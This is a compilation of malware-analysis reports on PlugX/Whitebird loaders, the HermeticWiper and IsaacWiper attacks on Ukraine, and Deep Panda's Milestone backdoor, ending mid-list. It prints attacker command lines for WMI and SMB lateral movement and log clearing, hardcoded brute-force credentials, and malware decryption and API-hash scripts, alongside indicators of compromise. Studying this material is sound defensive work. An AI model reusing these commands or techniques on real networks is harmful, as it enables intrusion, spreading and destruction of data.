+hashed as Unicode strings converted to upper case. Function names are hashed as ASCII strings
+without changing the case. The resulting two hashes are added together and then compared
+with the desired one.
+ror = lambda val, r_bits, max_bits: \
+((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
+(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
+def hash_lib_whitebird(name: bytes) -> int:
+a = name.upper() + b'\x00'
+c = 0
+for i in range(0, len(a)):
+c = (a[i] + ror(c, 13, 32)) & 0xffffffff
+# library name is a unicode string
+c = (0 + ror(c, 13, 32))
+return c
+def hash_func_whitebird(name: bytes) -> int:
+a = name + b'\x00'
+c = 0
+for i in range(0, len(a)):
+c = (a[i] + ror(c, 13, 32)) & 0xffffffff
+return c
+Trojan
+s main functions are encrypted. When the function is called, it decrypts its code, and when
+it exits, it encrypts it back.
+Main function:
+Trojan.Loader.891 obtains the MAC addresses of all network interfaces on the computer. The
+trojan then reads data from the mscuicfg.dat file. If the last 6 bytes are zero, then it writes the
+first MAC address from the list into them and encrypts this file with the RC4 algorithm. In this
+case, the key is equal to the MAC address written to the file, so the encrypted data is saved to
+the file mscuicfg.dat.
+After that, in any way, the trojan reads the file again, sorting through each of the received MAC
+addresses until it finds the right one. The decryption
+s correctness is checked by matching the
+last 6 decrypted bytes with the encryption key. Upon successful decryption, the trojan cuts them
+off and decrypts the file again using the RC4 algorithm, but takes the string mscuicfg.dat as
+the key. The received data is a shellcode with a configuration and a payload.
+Shellcode
+The shellcode is obfuscated with a lot of JMP instructions and each value is computed with a lot
+of SUB, ADD, and XOR operations:
+The shellcode
+s principle is to decrypt the payload and load it into memory for execution.
+The last DWORD of the shellcode contains the OFFSET before the start of the payload.
+Encrypted data at this stage:
+For decryption, XOR with a dynamic key is used:
+k = 0x37
+s = bytearray()
+for i in range(len(d)):
+c = d[i] ^ k
+s.append(c)
+k = (k + c) & 0xff
+The decrypted data contains an MZPE file with signatures replaced:
+The decoded module is BackDoor.Whitebird.30. In addition, the module overlay contains an
+encrypted configuration and a module for bypassing UAC:
+Trojan.Loader.896
+Added to the Dr.Web virus database: 2021-11-03
+Virus description added: 2021-11-17
+Packer: absent
+Compilation date: 2020-14-10
+SHA1 hash: ff82dcadb969307f93d73bbed1b1f46233da762f
+Description
+The backdoors downloader, PlugX, is written in C.
+Operating principle
+After loading from the main module (msrers.exe) using the LoadLibraryW function, the
+trojan loads the kernel32.dll library using the LoadLibraryA. Then, it gets the address of
+the exported function GetModuleFileNameA:
+It then obtains the name of the main module using the previously obtained function
+GetModuleFileNameA. It checks if the name contains the substring "ers." (msrers.exe):
+From the hash, 0xEF64A41E gets the function VirtualProtect to change the memory
+access rights to PAGE_EXECUTE_READWRITE at 0x416362 (msrers.exe):
+The following fragment will modify the code at 0x416362 (msrers.exe):
+push 0xFFFFFFFF
+push 0x100010B0 ; func_addr
+Place in the main module to be modified:
+Next, a function is called that receives the base kernel32.dll, and the addresses of the
+functions by hashes.
+Script to get a function by hash:
+import pefile
+ror = lambda val, r_bits, max_bits: \
+((val & (2**max_bits-1)) >> r_bits%max_bits) | \
+(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
+max_bits = 32
+library_path_list = [...] # absolute path dlls
+def get_func_addr(hash):
+for i in xrange(len(library_path_list)):
+library = library_path_list[i].split('\\')
+name_dll = library[len(library) - 1]
+pe = pefile.PE(library_path_list[i])
+for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
+func_name = exp.name
+hash_name_func = 0
+for j in func_name:
+hash_name_func = ord(j) + ror(hash_name_func, 0x07,
+max_bits)
+if (hash_name_func == hash):
+print '0x{:08x} -> {} -> {}'.format(hash, name_dll,
+exp.name)
+return
+Received features:
+Function name
+Hash
+VirtualProtect
+0xEF64A41E
+GetLastError
+0x12F461BB
+CloseHandle
+0xFF0D6657
+Function name
+Hash
+ReadFile
+0x130F36B2
+VirtualAlloc
+0x1EDE5967
+GetFileSize
+0xAC0A138E
+CreateFileA
+0x94E43293
+lstrcat
+0x3E8F97C3
+GetModuleFileNameA
+0xB4FFAFED
+In the following, the below structure is used to call these functions:
+struct api_addr {
+DWORD
+(__stdcall *GetModuleFileNameA)(HMODULE, LPSTR, DWORD);
+LPSTR
+(__stdcall *lstrcat)(LPSTR, LPCSTR);
+HANDLE (__stdcall *CreateFileA)(LPCSTR, DWORD, DWORD,
+LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
+DWORD
+(__stdcall *GetFileSize)(HANDLE, LPDWORD);
+LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
+BOOL
+(__stdcall *ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD,
+LPOVERLAPPED);
+BOOL
+(__stdcall *CloseHandle)(HANDLE);
+DWORD
+(__stdcall *GetLastError)();
+Trojan takes the name dll (TmDbgLog.dll) and adds the ".TSC" extension to it. Next, it
+opens the file TmDbgLog.dll.TSC for reading and decrypts its contents, which turns out to be
+a shellcode.
+After decrypting the shellcode (TmDbgLog.dll), the trojan starts executing it:
+The below is how the script for decrypting the shellcode looks like:
+enc = bytearray(open('TmDbgLog.dll.TSC', 'rb').read())
+dec = bytearray()
+for i in xrange(len(enc)):
+dec.append(((enc[i] ^ 0xbb) - 1) & 0xff)
+open('TmDbgLog.dll.TSC.dec', 'wb').write(dec)
+Before decrypting and running the payload, the shellcode assembles the following structure:
+struct st_mw {
+DWORD magic;
+DWORD *shell_base;
+DWORD shell_size;
+DWORD *enc_payload;
+DWORD enc_payload_size;
+DWORD *enc_config;
+DWORD enc_config_size;
+DWORD *payload_entry;
+This is what the encrypted config looks like:
+The config
+s decryption will be done directly in the payload:
+import struct
+enc = open('enc_cfg', 'rb').read()
+key, = struct.unpack('I', enc[0:4])
+key1 = key
+key2 = key
+key3 = key
+dec = bytearray()
+for i in xrange(len(enc)):
+key = (key + (key >> 3) - 0x11111111) & 0xFFFFFFFF
+key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
+key2 = (key2 + 0x33333333 - (key2 << 7)) & 0xFFFFFFFF
+key3 = (key3 + 0x44444444 - (key3 << 9)) & 0xFFFFFFFF
+dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF)
+open('dec_cfg', 'wb').write(dec)
+And it
+ll look like this:
+Encrypted payload:
+Script to decrypt the payload:
+import struct
+import ctypes
+enc = open('enc_payload', 'rb').read()
+key, = struct.unpack('I', enc[0:4])
+key1 = key
+key2 = key
+key3 = key
+dec = bytearray()
+for i in xrange(len(enc)):
+key = (key + (key >> 3) + 0x55555556) & 0xFFFFFFFF
+key1 = (key1 + (key1 >> 5) + 0x44444445) & 0xFFFFFFFF
+key2 = (key2 + 0xCCCCCCCC - (key2 << 7)) & 0xFFFFFFFF
+key3 = (key3 + 0xDDDDDDDD - (key3 << 9)) & 0xFFFFFFFF
+dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF)
+d = bytes(dec)
+uncompress_size, = struct.unpack('I', d[8:12])
+buf_decompressed = ctypes.create_string_buffer(uncompress_size)
+final_size = ctypes.c_ulong(0)
+ctypes.windll.ntdll.RtlDecompressBuffer(2, buf_decompressed,
+ctypes.sizeof(buf_decompressed), ctypes.c_char_p(d[0x10:]), len(d),
+ctypes.byref(final_size))
+open('dec_payload', 'wb').write(buf_decompressed)
+After decrypting the payload, the shellcode transfers control to the trojan, with the previously
+assembled structure st_mw acting as one of the parameters:
+Further, the trojan works in the same way as the backdoor BackDoor.PlugX.28.
+Trojan.Uacbypass.21
+Added to the Dr.Web virus database: 2021-10-22
+Virus description added: 2021-10-22
+Packer: absent
+Compilation date: 2019-09-29
+SHA1 hash: 7412b13e27433db64b610f40232eb4f0bf2c8487
+Description
+This trojan is written in C. It elevates backdoor privileges. It also disguises itself as a legitimate
+process and uses a COM object to bypass User Account Control (UAC). In this way, it elevates
+the executable process
+s privileges.
+Operating principle
+The trojan disguises as a legitimate process C:\Windows\explorer.exe via PEB (Process
+Environment Block). That
+s how it fools the IFileOperation COM object into thinking it
+being called from a Windows Explorer shell.
+The trojan obtains a COM object to implement UAC bypass via privilege elevation
+(https://github.com/cnsimo/BypassUAC/blob/master/BypassUAC_Dll/dllmain
+.cpp):
+It allows Trojan.Uacbypass.21 to run the file that was passed to it as an argument as a legitimate
+Windows process:
+Appendix. Indicators of Compromise
+SHA1 hashes
+Trojan.Loader.889
+f783fc5d3fc3f923c2b99ef3a15a38a015e2735a: McUiCfg.dll
+Trojan.Loader.890
+65f64cc7aaff29d4e62520afa83b621465a79823: SRVCON.OCX
+8b9e60735344f91146627213bd13c967c975a783: CLNTCON.OCX
+84d5f015d8b095d24738e45d2e541989e6221786: sti.dll
+3d8a3fcfa2584c8b598836efb08e0c749d4c4aab: iviewers.dll
+Trojan.Loader.891
+595b5a7f25834df7a4af757a6f1c2838eea09f7b: McUiCfg.dll
+Trojan.Loader.893
+46e999d88b76cae484455e568c2d39ad7c99e79f: McUiCfg.dll
+Trojan.Loader.894
+b1041acbe71d46891381f3834c387049cbbb0806: iviewers.dll
+Trojan.Loader.895
+635e3cf8fc165a3595bb9e25030875f94affe40f: McUiCfg.dll
+Trojan.Loader.896
+ff82dcadb969307f93d73bbed1b1f46233da762f: TmDbgLog.dll
+Trojan.Loader.898
+429357f91dfa514380f06ca014d3801e3175894d: CLNTCON.OCX
+Trojan.Loader.899
+cc5bce8c91331f198bb080d364aed1d3301bfb0c: LDVPTASK.OCX
+BackDoor.PlugX.93
+a8bff99e1ea76d3de660ffdbd78ad04f81a8c659: CLNTCON.OCX
+BackDoor.PlugX.94
+5a171b55b644188d81218d3f469cf0500f966bac
+BackDoor.PlugX.95
+b3ecb0ac5bebc87a3e31adc82fb6b8cc4fb66d63: netcfg.dll
+BackDoor.PlugX.96
+a3347d3dc5e7c3502d3832ce3a7dd0fc72e6ea49
+BackDoor.PlugX.97
+36624dc9cd88540c67826d10b34bf09f46809da7
+BackDoor.PlugX.100
+16728655e5e91a46b16c3fe126d4d18054a570a1
+BackDoor.Whitebird.30
+abfd737b14413a7c6a21c8757aeb6e151701626a
+a5829ed81f59bebf35ffde10928c4bc54cadc93b
+Trojan.Siggen12.35113
+4f0ea31a363cfe0d2bbb4a0b4c5d558a87d8683e: rapi.dll
+Trojan.Uacbypass.21
+20ad53e4bc4826dadb0da7d6fb86dd38f1d13255
+Program.RemoteAdmin.877
+23873bf2670cf64c2440058130548d4e4da412dd: AkavMiqo.exe
+Tool.Frp
+a6e9f5d8295d67ff0a5608bb45b8ba45a671d84c: firefox.exe
+39c5459c920e7c0a325e053116713bfd8bc5ddaf: firefox.exe
+Network indicators
+Domains
+webmail.surfanny.com
+www.sultris.com
+mail.sultris.com
+pop3.wordmoss.com
+zmail.wordmoss.com
+youtubemail.club
+clark.l8t.net
+blog.globnewsline.com
+mail.globnewsline.com
+45.144.242.216
+45.147.228.131
+46.105.227.110
+5.183.178.181
+5.188.228.53
+103.30.17.44
+103.93.252.150
+103.230.15.41
+103.251.94.93
+104.233.163.136
+159.65.157.100
+180.149.241.88
+185.105.1.226
+192.236.177.250
+209.250.241.35
+IsaacWiper and HermeticWizard: New wiper and worm targeting Ukraine
+welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine
+March 1, 2022
+As the recent hostilities started between Russia and Ukraine, ESET researchers discovered several malware families targeting Ukrainian
+organizations.
+On February 23rd, 2022, a destructive campaign using HermeticWiper targeted multiple Ukrainian organizations.
+This cyberattack preceded, by a few hours, the start of the invasion of Ukraine by Russian Federation forces
+Initial access vectors varied from one organization to another. We confirmed one case of the wiper being dropped by GPO, and uncovered
+a worm used to spread the wiper in another compromised network.
+Malware artifacts suggest that the attacks had been planned for several months.
+On February 24th, 2022, a second destructive attack against a Ukrainian governmental network started, using a wiper we have named
+IsaacWiper.
+ESET Research has not yet been able to attribute these attacks to a known threat actor.
+Destructive attacks in Ukraine
+As stated in this ESETResearch tweet and WLS blogpost, we uncovered a destructive attack against computers in Ukraine that started around
+14:52 on February 23rd, 2022 UTC. This followed distributed denial-of-service (DDoS) attacks against major Ukrainian websites and
+preceded the Russian military invasion by a few hours.
+These destructive attacks leveraged at least three components:
+HermeticWiper: makes a system inoperable by corrupting its data
+HermeticWizard: spreads HermeticWiper across a local network via WMI and SMB
+HermeticRansom: ransomware written in Go
+HermeticWiper was observed on hundreds of systems in at least five Ukrainian organizations.
+On February 24th, 2022, we detected yet another new wiper in a Ukrainian governmental network. We named it IsaacWiper and we are
+currently assessing its links, if any, with HermeticWiper. It is important to note that it was seen in an organization that was not affected by
+HermeticWiper.
+Attribution
+At this point, we have not found any tangible connection with a known threat actor. HermeticWiper, HermeticWizard, and HermeticRansom
+do not share any significant code similarity with other samples in the ESET malware collection. IsaacWiper is still unattributed as well.
+Timeline
+HermeticWiper and HermeticWizard are signed by a code-signing certificate (shown in Figure 1) assigned to Hermetica Digital Ltd issued on
+April 13th, 2021. We requested the issuing CA (DigiCert) to revoke the certificate, which it did on February 24th, 2022.
+Figure 1. Code-signing certificate assigned to Hermetic Digital Ltd
+According to a report by Reuters, it seems that this certificate was not stolen from Hermetica Digital. It is likely that instead the attackers
+impersonated the Cypriot company in order to get this certificate from DigiCert.
+ESET researchers assess with high confidence that the affected organizations were compromised well in advance of the wiper
+s deployment.
+This is based on several facts:
+HermeticWiper PE compilation timestamps, the oldest being December 28th, 2021
+The code-signing certificate issue date of April 13th, 2021
+Deployment of HermeticWiper through GPO in at least one instance suggests the attackers had prior access to one of that victim
+s Active
+Directory servers
+The events are summarized in the timeline in Figure 2.
+Figure 2. Timeline of important events
+Initial access
+HermeticWiper
+The initial access vector is currently unknown but we have observed artifacts of lateral movement inside the targeted organizations. In one
+entity, the wiper was deployed through the default domain policy (GPO), as shown by its path on the system:
+C:\Windows\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cc.exe
+This indicates that attackers likely took control of the Active Directory server.
+In other instances, it is possible that Impacket was used to deploy HermeticWiper. A Symantec blogpost states that the wiper was deployed
+using the following command line:
+cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1>
+\\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
+The last part is the same as the default behavior in Impacket
+s wmiexec.py, found on GitHub.
+Finally, a custom worm that we have named HermeticWizard was used to spread HermeticWiper across the compromised networks via SMB
+and WMI.
+IsaacWiper
+The initial access vector is also currently unknown. It is likely that attackers used tools such as Impacket to move laterally. On a few machines,
+we have also observed RemCom, a remote access tool, being deployed at the same time as IsaacWiper.
+Technical analysis
+HermeticWiper
+HermeticWiper is a Windows executable with four drivers embedded in its resources. They are legitimate drivers from the EaseUS Partition
+Master software signed by CHENGDU YIWO Tech Development Co., and they implement low-level disk operations. The following files were
+observed:
+0E84AFF18D42FC691CB1104018F44403C325AD21: x64 driver
+379FF9236F0F72963920232F4A0782911A6BD7F7: x86 driver
+87BD9404A68035F8D70804A5159A37D1EB0A3568: x64 XP driver
+B33DD3EE12F9E6C150C964EA21147BF6B7F7AFA9: x86 XP driver
+Depending on the operating system version, one of those four drivers is chosen and dropped in C:\Windows\System32\drivers\<4 random
+letters>.sys. It is then loaded by creating a service.
+HermeticWiper then proceeds by disabling the Volume Shadow Copy Service (VSS) and wipes itself from disk by overwriting its own file with
+random bytes. This anti-forensic measure is likely intended to prevent the analysis of the wiper in a post-incident analysis.
+It is interesting to note that most of the file operations are performed at a low level using DeviceIoControl calls.
+The following locations are overwritten with random bytes generated by the Windows API function CryptGenRandom:
+The master boot record (MBR)
+The master file table (MFT)
+$Bitmap and $LogFile on all drives
+The files containing the registry keys (NTUSER*)
+C:\Windows\System32\winevt\Logs
+In addition, it also recursively wipes folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume
+Information, and AppData folders, using a FSCTL_MOVE_FILE operation. This technique appears to be quite unusual and very similar to
+what is implemented in the Windows Wipe project on GitHub (see the wipe_extent_by_defrag function). It also wipes symbolic links and big
+files in My Documents and Desktop folders by overwriting them with random bytes.
+Finally, the machine is restarted. However, it will fail to boot, because the MBR, the MFT, and most files were wiped. We believe it is not
+possible to recover the impacted machines.
+HermeticWizard
+Looking for other samples signed by the same code-signing certificate (Hermetica Digital Ltd), we found a new malware family that we named
+HermeticWizard.
+It is a worm that was deployed on a system in Ukraine at 14:52:49 on February 23rd, 2022 UTC. It is a DLL file developed in C++ that exports
+the functions DllInstall, DllRegisterServer, and DllUnregisterServer. Its export DLL name is Wizard.dll. It contains three resources, which are
+encrypted PE files:
+A sample of HermeticWiper (912342F1C840A42F6B74132F8A7C4FFE7D40FB77)
+exec_32.dll, responsible for spreading to other local computers via WMI (6B5958BFABFE7C731193ADB96880B225C8505B73)
+romance.dll, responsible for spreading to other local computers via SMB (AC5B6F16FC5115F0E2327A589246BA00B41439C2)
+The resources are encrypted with a reverse XOR loop. Each block of four bytes is XORed with the previous block. Finally, the first block is
+XORed with a hardcoded value, 0x4A29B1A3.
+HermeticWizard is started using the command line regsvr32.exe /s /i <path>.
+First, HermeticWizard tries to find other machines on the local network. It gathers known local IP addresses using the following Windows
+functions:
+DNSGetCacheDataTable
+GetIpNetTable
+WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)
+NetServerEnum
+GetTcpTable
+GetAdaptersAddresses
+It then tries to connect to those IP addresses (and only if they are local IP addresses) to see if they are still reachable. In case the -s argument
+was provided when HermeticWizard was started (regsvr32.exe /s /i:-s <path>), it also scans the full /24 range. So, if 192.168.1.5 was found in,
+for example, the DNS cache, it incrementally scans from 192.168.1.1 to 192.168.1.254. For each IP address, it tries to open a TCP connection on
+the following ports:
+20: ftp
+21: ftp
+22: ssh
+80: http
+135: rpc
+137: netbios
+139: smb
+443: https
+445: smb
+The ports are scanned in a random order so it
+s not possible to fingerprint HermeticWizard traffic that way.
+When it has found a reachable machine, it drops the WMI spreader (detailed below) on disk and creates a new process with the command line
+rundll32 <current folder>\<6 random letters>.ocx #1 -s <path to HermeticWizard> 
+ i <target IP>.
+It does the same with the SMB spreader (detailed below) that is also dropped in <current folder>\<6 random letters>.ocx, but with different
+random letters.
+Finally, it drops HermeticWiper in <current folder>\<6 random letters>.ocx and executes it.
+WMI spreader
+The WMI spreader, named by its developers exec_32.dll, takes two arguments:
+-i: The target IP address
+-s: The file to copy and execute on the target machine
+First, it creates a connection to the remote ADMIN$ share of the target using WNetAddConnection2W. The file provided in the -s argument is
+then copied using CopyFileW. The remote file has a random name generated with CoCreateGUID (e.g., cB9F06408D8D2.dll) and the string
+format c%02X%02X%02X%02X%02X%02X.
+Second, it tries to execute the copied file, HermeticWizard, on the remote machine using DCOM. It calls CoCreateInstance with
+CLSID_WbemLocator as argument. It then uses WMI Win32_Process to create a new process on the remote machine, with the command line
+C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /i C:\windows\<filename>.dll.
+Note that the -s argument is not passed to HermeticWizard, meaning that it won
+t scan the local network again from this newly compromised
+machine.
+If the WMI technique fails, it tries to create a service using OpenRemoteServiceManager with the same command as above.
+If it succeeds in executing the remote DLL in any way, it sleeps until it can delete the remote file.
+SMB spreader
+The SMB spreader, named by its developers romance.dll, takes the same two arguments as the WMI spreader. Its internal name is likely a
+reference to the EternalRomance exploit, even if it does not use any exploit.
+First it attempts to connect to the following pipes on the remote SMB share (on port 445):
+samr
+browser
+netlogon
+lsarpc
+ntsvcs
+svcctl
+These are pipes known to be used in lateral movement. The spreader has a list of hardcoded credentials that are used in attempts to
+authenticate via NTLMSSP to the SMB shares:
+ usernames 
+guest
+test
+admin
+user
+root
+administrator
+manager
+operator
+ passwords 
+Qaz123
+Qwerty123
+This list of credentials is surprisingly short and is unlikely to work in even the most poorly protected networks.
+If the connection is successful, it attempts to drop, to the target ADMIN$ share, the file referenced by the -s argument. As for the WMI
+spreader, the remote filename is generated by a call to CoCreateInstance.
+It then executes, via SMB, the command line
+cmd /c start regsvr32 /s /i ..\\<filename> & start cmd /c \
+ping localhost -n 7 & wevtutil cl System\
+HermeticRansom
+ESET researchers also observed HermeticRansom 
+ ransomware written in Go 
+ being used in Ukraine at the same time as the HermeticWiper
+campaign. HermeticRansom was first reported in the early hours of February 24th, 2022 UTC, in a tweet from AVAST. Our telemetry shows a
+much smaller deployment compared to HermeticWiper. This ransomware was deployed at the same time as HermeticWiper, potentially in
+order to hide the wiper
+s actions. On one machine, the following timeline was observed:
+2022-02-23 17:49:55 UTC: HermeticWiper in C:\Windows\Temp\cc.exe deployed
+2022-02-23 18:06:57 UTC: HermeticRansom in C:\Windows\Temp\cc2.exe deployed by the netsvcs service
+2022-02-23 18:26:07 UTC: Second HermeticWiper in C:\Users\com.exe deployed
+On one occasion, we observed HermeticRansom being deployed through GPO, just like HermeticWiper:
+C:\WINDOWS\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cpin.exe
+A few strings were left in the binary by the attackers; they reference US President Biden and the White House:
+_/C_/projects/403forBiden/wHiteHousE.baggageGatherings
+_/C_/projects/403forBiden/wHiteHousE.lookUp
+_/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess
+_/C_/projects/403forBiden/wHiteHousE.GoodOffice1
+Once files are encrypted, the message in Figure 3 is displayed to the victim.
+Figure 3. HermeticRansom
+s ransom note
+IsaacWiper
+IsaacWiper is found in either a Windows DLL or EXE with no Authenticode signature; it appeared in our telemetry on February 24th, 2022. As
+mentioned earlier, the oldest PE compilation timestamp we have found is October 19th, 2021, meaning that if its PE compilation timestamp
+was not tampered with, IsaacWiper might have been used in previous operations months earlier.
+For DLL samples, the name in the PE export directory is Cleaner.dll and it has a single export _Start@4.
+We have observed IsaacWiper in %programdata% and C:\Windows\System32 under the following filenames:
+clean.exe
+cl.exe
+cl64.dll
+cld.dll
+cll.dll
+It has no code similarity with HermeticWiper and is way less sophisticated. Given the timeline, it is possible that both are related but we
+haven
+t found any strong connection yet.
+IsaacWiper starts by enumerating the physical drives and calls DeviceIoControl with the IOCTL IOCTL_STORAGE_GET_DEVICE_NUMBER
+to get their device numbers. It then wipes the first 0x10000 bytes of each disk using the ISAAC pseudorandom generator. The generator is
+seeded using the GetTickCount value.
+It then enumerates the logical drives and recursively wipes every file of each disk with random bytes also generated by the ISAAC PRNG. It is
+interesting to note that it recursively wipes the files in a single thread, meaning that it would take a long time to wipe a large disk.
+On February 25th, 2022, attackers dropped a new version of IsaacWiper with debug logs. This may indicate that the attackers were unable to
+wipe some of the targeted machines and added log messages to understand what was happening. The logs are stored in
+C:\ProgramData\log.txt and some of the log messages are:
+getting drives
+start erasing physical drives
+ start erasing logical drive
+start erasing system physical drive
+system physical drive 
+ FAILED
+start erasing system logical drive
+Conclusion
+This report details a destructive cyberattack that impacted Ukrainian organizations on February 23rd, 2022, and a second attack that affected a
+different Ukrainian organization from February 24th through 26th, 2022. At this point, we have no indication that other countries were
+targeted.
+However, due to the current crisis in Ukraine, there is still a risk that the same threat actors will launch further campaigns against countries
+that back the Ukrainian government or that sanction Russian entities.
+IoCs
+SHA-1
+Filename
+ESET detection name
+Description
+912342F1C840A42F6B74132F8A7C4FFE7D40FB77
+com.exe
+Win32/KillDisk.NCV
+HermeticWip
+61B25D11392172E587D8DA3045812A66C3385451
+conhosts.exe
+Win32/KillDisk.NCV
+HermeticWip
+3C54C9A49A8DDCA02189FE15FEA52FE24F41A86F
+c9EEAF78C9A12.dat
+Win32/GenCBL.BSP
+HermeticWiz
+F32D791EC9E6385A91B45942C230F52AFF1626DF
+cc2.exe
+WinGo/Filecoder.BK
+HermeticRan
+AD602039C6F0237D4A997D5640E92CE5E2B3BBA3
+cl64.dll
+Win32/KillMBR.NHP
+IsaacWiper
+736A4CFAD1ED83A6A0B75B0474D5E01A3A36F950
+cld.dll
+Win32/KillMBR.NHQ
+IsaacWiper
+E9B96E9B86FAD28D950CA428879168E0894D854F
+clean.exe
+Win32/KillMBR.NHP
+IsaacWiper
+23873BF2670CF64C2440058130548D4E4DA412DD
+XqoYMlBX.exe
+Win32/RiskWare.RemoteAdmin.RemoteExec.AC
+Legitimate
+RemCom rem
+access tool
+MITRE ATT&CK techniques
+This table was built using version 10 of the MITRE ATT&CK framework.
+Tactic
+Name
+Description
+Resource
+Development
+T1588.002
+Obtain Capabilities: Tool
+Attackers used RemCom and potentially Impacket as part of their
+campaign.
+T1588.003
+Obtain Capabilities: Code Signing
+Certificates
+Attackers acquired a code-signing certificate for their campaigns.
+T1078.002
+Valid Accounts: Domain Accounts
+Attackers were able to deploy wiper malware through GPO.
+Initial Access
+Tactic
+Name
+Description
+Execution
+T1059.003
+Command and Scripting
+Interpreter: Windows Command
+Shell
+Attackers used the command line during their attack (e.g., possible
+Impacket usage).
+T1106
+Native API
+Attackers used native APIs in their malware.
+T1569.002
+System Services: Service
+Execution
+HermeticWiper uses a driver, loaded as a service, to corrupt data.
+T1047
+Windows Management
+Instrumentation
+HermeticWizard attempts to spread to local computers using WMI.
+Discovery
+T1018
+Remote System Discovery
+HermeticWizard scans local IP ranges to find local machines.
+Lateral
+Movement
+T1021.002
+Remote Services: SMB/Windows
+Admin Shares
+HermeticWizard attempts to spread to local computers using SMB.
+T1021.003
+Remote Services: Distributed
+Component Object Model
+HermeticWizard attempts to spread to local computers using WbemLocator
+to remotely start a new process via WMI.
+T1561.002
+Disk Wipe: Disk Structure Wipe
+HermeticWiper corrupts data in the system
+s MBR and MFT.
+T1561.001
+Disk Wipe: Disk Content Wipe
+HermeticWiper corrupts files in Windows, Program Files, Program
+Files(x86), PerfLogs, Boot, System Volume Information, and AppData.
+T1485
+Data Destruction
+HermeticWiper corrupts user data found on the system.
+T1499.002
+Endpoint Denial of Service:
+Service Exhaustion Flood
+By using DDoS attacks, the attackers made a number of government
+websites unvailable.
+Impact
+1 Mar 2022 - 02:00PM
+Newsletter
+New Milestones for Deep Panda: Log4Shell and Digitally Signed
+Fire Chili Rootkits
+fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
+March 30, 2022
+FortiGuard Labs Research
+Affected Platforms: Windows
+Impacted Users: Windows Users
+Impact: Collects sensitive information from victim machines
+Severity Level: Critical
+During the past month, FortiEDR detected a campaign by Deep Panda, a Chinese APT group. The group
+exploited the infamous Log4Shell vulnerability in VMware Horizon servers. The nature of targeting was
+opportunistic insofar that multiple infections in several countries and various sectors occurred on the
+same dates. The victims belong to the financial, academic, cosmetics, and travel industries.
+Following exploitation, Deep Panda deployed a backdoor on the infected machines. Following forensic
+leads from the backdoor led us to discover a novel kernel rootkit signed with a stolen digital certificate.
+We found that the same certificate was also used by another Chinese APT group, named Winnti, to sign
+some of their tools.
+In this blog, we share our analysis of the flow of infection, the backdoor, and new rootkit, along with our
+attribution of this campaign to these Chinese nation-state threat actors.
+Chain of Attack
+While examining customer alerts and telemetry, we noticed several infiltrations into victim networks that
+were achieved via a Log4Shell exploitation of vulnerable VMware Horizon servers. These attacks
+spawned a new PowerShell process to download and execute a chain of scripts that ended with the
+installation of a malicious DLL.
+1/16
+Figure 1: Flow of events from Log4Shell exploitation to execution of the final payload
+The encoded PowerShell command downloads another PowerShell script from a remote server and
+executes it.
+Figure 2: The decoded PowerShell command
+The next stage PowerShell script downloads three additional files from the same server: 1.bat, syn.exe
+and 1.dll.
+2/16
+Figure 3: Content of the p.txt PowerShell script downloaded from the server
+The script then executes 1.bat, which in turn executes syn.exe and proceeds to delete all three files from
+the disk.
+Figure 4: Content of 1.bat script downloaded from the server
+syn.exe is a program that loads its first command-line argument using LoadLibrary, in this case, 1.dll.
+The 1.dll module is the final payload, a backdoor that we have dubbed Milestone. Its code is based on the
+leaked source code of Gh0st RAT/Netbot Attacker and is packed with Themida.
+The backdoor copies itself to %APPDATA%\newdev.dll and creates a service named msupdate2 by
+creating the service entry directly in the registry. Several other service names and descriptions have been
+observed among different samples.
+Figure 5: 
+msupdate2
+ service registered by Milestone
+While it has the same name as the legitimate Microsoft newdev.dll, it has only two of the real
+newdev.dll's exports plus an additional ServiceMain export.
+Figure 6: Exports of the malicious Milestone
+3/16
+Overall, the backdoor has capabilities similar to Gh0st RAT
+s, with notable differences. Its C2
+communication is uncompressed, unlike Gh0st RAT communication which is zlib-compressed. There are
+differences in commands as well. For example, in the CMD command, some variants first copy cmd.exe
+to dllhost.exe to avoid detection by security products that monitor CMD executions. Additionally, the
+backdoor supports a command that sends information about the current sessions on the system to the
+server. This command does not exist in the original Gh0st RAT source code.
+Among the many backdoor samples we hunted down, there are two distinguishable versions: binaries
+compiled in 2016 contain the version string MileStone2016, while those compiled in 2017 contain
+MileStone2017. The samples used in the recent infections we detected are only the 2017 variants.
+There are several differences between the 2016 and 2017 Milestones. First, 2017 Milestones are typically
+packed with Themida, while 2016 ones are unpacked. Secondly, although 2016 Milestones have plausible
+timestamps, all 2017 Milestones share an identical timestamp, which leads us to believe they are forged.
+Combined with the fact that 2017 backdoors are used in attacks to this day, it is uncertain whether they
+were compiled in 2017 or much later.
+The two versions also slightly differ in commands and communication. 2016 Milestones apply XOR
+encryption to their communication, as well as support a command to execute as a new user with
+administrator privileges. To do so, the backdoor first creates a new administrator user on the system,
+with the username ANONYMOUS and the password MileSt0ne2@16. It then executes another instance
+of itself as that user with CreateProcessAsUser and proceeds to remove the user from the system
+immediately thereafter.
+A Stone
+s Throw Away
+In addition to the backdoors, we obtained a third type of sample 
+ a dropper. It writes three files to the
+disk:
+Benign executable 
+ %APPDATA%\syn.exe
+Milestone loader 
+ %APPDATA%\newdev.dll
+Driver 
